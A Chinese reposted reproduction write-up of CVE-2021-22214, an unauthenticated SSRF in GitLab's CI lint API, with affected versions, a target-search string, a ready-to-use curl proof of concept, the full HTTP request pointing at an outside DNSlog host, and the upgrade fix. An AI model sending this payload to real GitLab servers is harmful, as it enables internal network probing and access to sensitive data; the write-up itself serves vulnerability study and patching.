CVE-2021-22214 Gitlab API未授权SSRF复现


简介:

GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git仓库管理工具,具有issue跟踪功能。它使用Git作为代码管理工具,并在此基础上搭建起来的web服务。

 

漏洞概述:

编号:CVE-2021-22214

Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml。因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过。远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

 

影响版本:

13.10.5 > GitLab >= 10.5

13.11.5 > GitLab >= 13.11

13.12.2 > GitLab >= 13.12

 

漏洞复现:

app="GitLab"

POC为:(使用时修改两处即可)

curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://6hd7mj.dnslog.cn
/api/v1/targets/?test.yml"}'

 

完成数据包如下:

POST /api/v4/ci/lint HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 112


{"include_merged_yaml": true, "content": "include:\n  remote: http://6hd7mj.dnslog.cn/api/v1/targets?test.yml"}

 

修复方式:

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本:

https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM